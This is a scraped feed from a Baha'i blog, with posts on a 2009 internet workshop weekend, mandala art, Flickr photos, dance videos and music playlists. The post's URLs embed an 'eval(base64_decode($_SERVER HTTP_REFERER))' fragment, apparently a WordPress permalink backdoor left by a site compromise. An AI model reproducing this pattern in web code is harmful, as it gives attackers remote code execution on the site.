Baha'i Views » Art http://www.bahaiviews.net Wed, 23 May 2012 22:57:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 On a Baha’is on the Internet Bosch Weekend: And mandala meditation http://www.bahaiviews.net/2009/04/06/on-a-bahais-on-the-internet-bosch-weekend-and-mandala-meditation/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/06/on-a-bahais-on-the-internet-bosch-weekend-and-mandala-meditation/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 07 Apr 2009 04:23:02 +0000 george wesley dannells http://www.bahaiviews.net/?p=15275  Reserve Friday, May 15, 2009 4:00 PM – Sunday, May 17, 2009 12:30 PM

May 15-17
Baha’i Participation on the Internet
With Greg Fullmer, National Office of Communications, and staff from the Baha’i Internet Agency
4ac3e61beda64374973724bea71e9c25A weekend for webmasters, bloggers, Public Information Officers, or just individuals interested in Communications and the Internet. Led by the staff of the Baha’i National Center’s Office of Communications, this session will review recent guidance from the Bahá’í World Center pertaining to Bahá’í activity on the Internet and examine case studies and best practices for local community websites; teaching online; and blogs, social networking and other forms of individual initiative online.

Catch Glen Fullmer at Bosch in a little over a month.  BTW, this image looks like a blogger mandala, don’t ya think?  Below is another mandala worthy of meditation, evocative of microbial life, surely as mysterious as the Internet. And please note that it is 9-sided. -gw 

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263608091_f414503011_mThis mandala was generated from my anthropomorphic colored-ink drawing “vase”. The decorative squiggles in the lower part of that drawing have here morphed into what looks like an overhead view of a petri dish where various opague and transparent microbes are replicating. (In the center circle one can see mitosis taking place — single cells splitting into two. It occurs here because splitting one element into two is a normal part of the process I use to generate these kaleidoscopes.) … Mandalas imply meditation and microbes may, on first thought, seem an inappropriate subject for meditation. On further thought, however, meditating on microbial life has much to be said for it.

Image: Uploaded on October 7, 2006 by omnos on flickr, licensed under Creative Commons Attribution-No Derivative Works 2.0 Generic

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The photo below is newly added to the Baha’is Group Pool on flickr. Click on it to see it full size. -gw

3416774621_98f1a5c3f2_tThumbnail: Uploaded on April 6, 2009 by simultaneous contrast on flickr

We found 46 results in simultaneous contrast’s photostream matching baha’i

See the photographer’s photos of the Northwest Regional Baha’i Conference in Portland here. -gw

 

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Beastie Boys Root Down Live @ Tibetan Freedom Concert …1 year ago 14,685 views mpzz
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Africano - Dance (pop-lock) Freestyle 5:17 Africano – Dance (pop-lock) Freestyle
“Me doin a solo on stage, not really coreographed (just planned certain parts to the music)… performing @ the Peacefest …” 2 years ago 70,155 views SAllen
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Step - Wildfire Dance theatre - 2005 2:23 Step – Wildfire Dance theatre – 2005
The step dance – Meant to show unity and strength. 2 years ago 14,982 views sahandesign
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FREEDOM, PEACE, UNITY. Nuff said. -gw
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With the help of the handy Anna’s Presentation, we gave this friend the message AND said a round of prayers, interspersed with music selections from the iPod. After telling a little bit about the story of the Bab and Anis who was martyred along with Him in Tabriz, I played this song. -gw


Tara Ellis – Anis from The Long Pilgrimage on Vimeo.

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ralph-stanleyNow I’m listening to his ”Constant Sorrow.” Just 131 plays so far on this one, so at least I’m ahead of the curve. It’s based on “Man of Constant Sorrow” from O Brother Where Art Thou, a song which already is on my iPod. Gotta get Benny’s version. I’ve been following his tweets for some time now. -gw

http://www.myspace.com/bennycassette

http://twitter.com/bennycassette

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findingbibi Bita 3354237222_0fa38a88fc_bigger What ‘girl empowering’ music or videos would you put on the Queen’s new iPod if you were royal DJ for a day?http://tinyurl.com/bibiqueenabout 4 hours ago from web

See: http://findingbibi.com/

Here are mine, for starters. Some are by Baha’is.  -gw

queen200300copyAfrican Woman, Burning Spear, Chant Down Babylon

Average Woman, Heidi Muller, Cassiopeia

Daughters of the Kingdom, Eric Dozier and Friends, To the Glory of God 

Diamond Girl, Seals and Crofts, Greatest Hits

I’m Sensitive, Jewel, Pieces of You

Inion/Daughter, Afro Celt Sound System, Sound Magic, Vol. 1

Isn’t She Lovely, Keb ‘Mo, Big Wide Grin

Little Bird, Annie Lennox, Diva

Mangbetu Girl, Pangea, Pangea

Perfect Mother, Basia, The Sweetest Illusion

Project Princess, Tracie Morris, The United States of Poetry

Que Sera, Sera, Doris Day, Pop Music: The Golden Years

Ruby Jean and Billie Lee, Seals & Crofts, Greatest Hits

This Woman’s Work, Kate Bush, Felicity

Where Is It Written? Barbra Streisand, Yentl

Woman’s Work, Tracy Chapman, Matters of the Heart

Woman Awake, The Pearl Divers, Destiny

Woman in Chains, Tears for Fears, The Seeds of Love

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Hey, so I’m a huge Office fan, and I’m also a Baha’i, and if you also happen to be both of those things, then this parody of The Office, called The Study Circle, is brilliant! Even if you’re not a Baha’i, you have to appreciate the great efforts these guys went to to mimic The Office’s shooting style and feel.

http://www.pardisparker.com/?p=448

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